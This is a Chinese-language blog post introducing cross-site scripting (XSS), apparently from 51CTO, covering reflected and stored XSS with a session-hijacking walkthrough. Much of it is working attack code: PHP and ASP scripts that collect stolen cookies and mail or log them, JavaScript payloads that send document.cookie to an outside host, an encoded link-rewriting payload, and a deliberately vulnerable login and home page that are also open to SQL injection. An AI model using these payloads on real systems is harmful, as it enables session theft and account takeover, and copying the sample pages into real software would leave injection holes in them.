提起xss很多人说不就是一个弹窗么?不过得确,我们现在所接触到的xss就是一个xss来证明它存在xss漏洞就可以了,但是xss的功能就只有一个弹窗么?可远远不止哦! 
     我们先来简单的介绍一下xssxss又叫CSS(Cross-SiteScripting),跨站脚本***。恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。 
  先脑补几个脚本
xss配合php获取cookiesession的脚本 

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
$to='xxx@xxx.com'; 
$referer = $_SERVER['HTTP_REFERER']; 
$cookie = $_GET['cookie']; 
$session = $_GET['session']; 
$agent = $_SERVER['HTTP_USER_AGENT']; 
$subject='远程XSS获取地址-域名:'.$referer; 
$body="<p> 远程管理IP= ".$ip."<p> 访问时间=" . date('d-m-Y'). 
"<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.' '. 
$headers= 'MIME-Version: 1.0' . "\r\n"; 
$headers.= 'Content-type: text/html; charset=utf-8' . "\r\n"; 
$headers.="Cleanreport.com"; 
mail($to, $subject, $body, $headers); 
?> 
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script> 
news.asp代码: 
<% 
msg=Request.ServerVariables("QUERY_STRING") 
testfile=Server.MapPath("cook.txt") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.Writeline(""&msg& "") 
thisfile.close 
set fs = nothing 
%> 
PHP版代码: 
<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cook.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' 
.$time. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose 
?> 
  
     Xss的***类型呢,它有两种***类型 1.持久性xss 2.非持久性xss 
     1.非持久性xss 
     详解:顾名思义,非持久型xss***是一次性的,仅对当次的页面访问产生影响。非持久型xss***要求用户访问一个被***者篡改后的链接,用户访问该链接时,被植入的***脚本被用户游览器执行,从而达到***目的。 
假设有以下index.php页面: 
<?php$name = $_GET['name'];echo "Welcome $name<br>";echo "<a href="http://www.77169.com/bangerlee/">Click to Download</a>"; 
?> 
该页面显示两行信息: 
· 从URI获取 'name' 参数,并在页面显示 
· 显示跳转到一条URL的链接 
这时,当***者给出以下URL链接: 
index.php?name=guest<script>alert('attacked')</script> 
当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出: 
Welcome guest<script>alert('attacked')</script><br><href='http://www.77169.com/'>Click to Download</a> 
对于***用户url***者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更: 
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e 
2.就是持久性xss了,危害性更大哦! 
持久型xss***会把***者的数据存储在服务器端,***行为将伴随着***数据一直存在。举个例子,我给你服务器留个后门,想什么时候来就什么来! 
  
   下面来看一个利用持久型xss***获取session id的实例。 
  
  
session背景知识 
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。 
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。 
  
***者可以提供一个***链接,当用户点击该链接时,向***者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。 
  
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。 
<?php$Host= '192.168.1.8';$Dbname= 'app';$User= 'yyy';$Password= 'xxx';$Schema = 'test'; 
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; 
/* Connect with database asking for a new connection*/$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); 
/* Error checking the connection string */if (!$Connect) { 
echo "Database Connection Failure"; 
exit; 
} 
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';"; 
$result=pg_query($Connect,$query);$row=pg_fetch_array($result,NULL,PGSQL_ASSOC); 
$user_pass = md5($_POST['pass_word']);$user_name = $row['user_name']; 
if(strcmp($user_pass,$row['password'])!=0) { 
echo "Login failed"; 
}else { 
# Start the session 
session_start(); 
$_SESSION['USER_NAME'] = $user_name; 
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>"; 
}?> 
  
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。 
<?phpsession_start();if(!$_SESSION['USER_NAME']) { 
echo "Need to login"; 
}else { 
$Host= '192.168.1.8'; 
$Dbname= 'app'; 
$User= 'yyy'; 
$Password= 'xxx'; 
$Schema = 'test'; 
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; 
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); 
if($_SERVER['REQUEST_METHOD'] == "POST") { 
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';"; 
  pg_query($Connect,$query); 
  echo "Update Success"; 
} 
else { 
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) { 
   echo "Welcome admin<br><hr>"; 
   echo "List of user's are<br>"; 
   $query = "select display_name from $Schema.members where user_name!='admin'"; 
   $res = pg_query($Connect,$query); 
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { 
    echo "$row[display_name]<br>"; 
   } 
} 
else { 
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; 
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; 
  echo "<input type=\"submit\" value=\"Update\">"; 
} 
} 
}?> 
  
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。 
  
首先,***者以一个普通用户登录进来,然后在输入框中提交以下数据: 
<href=# onclick=\"document.location=\'http://www.77169.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a> 
  
***者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,***者就可以窃取到 admin 的session-id: 
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 
有了该session-id,***者在会话有效期内即可获得 admin 用户的权限,并且由于***数据已添加入数据库,只要***数据未被删除,那么***还有可能生效,是持久性的。 
  
当然,不是只有持久型xss***才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss***的举例。 
  
    提醒一句,大家知道腾讯邮箱吧?据说有xss漏洞,用iphone的小伙伴们,手机丢了千万不要点任何链接哦,那个时候你的qq邮箱也跟着丢了哦! 

下附xss思维导图


  大图浏览

http://7jpqzz.com1.z0.glb.clouddn.com/XSS.png




©著作权归作者所有:来自51CTO博客作者mob604756eca2df的原创作品,如需转载,请注明出处,否则将追究法律责任

更多相关文章

  1. 开源情报(OSINT)侦察指北
  2. 上传个图片都能拿下服务器!赶紧自检!
  3. 自动调节AWS的步骤
  4. 卡巴斯基:2019Q3拒绝服务***趋势报告
  5. linux下用户操作记录审计环境的部署记录
  6. ASP.NET Core WebApi基于JWT实现接口授权验证
  7. 常见沙箱绕过技术
  8. 电商思路用于恶意软件售卖?用服务口碑抢占市场的Raccoon间谍软件
  9. 电子竞技行业所面临的四大***威胁

随机推荐

  1. 浅析Android线程模型
  2. android Activity设置透明主题样式方法
  3. Android 常用布局整理
  4. Android加速启动Activity
  5. 初涉android(一)
  6. 学Android的学习规划
  7. RelativeLayout && inflate
  8. Android团队提供的示例项目
  9. Android中的序列化和反序列化
  10. android layout,xml属性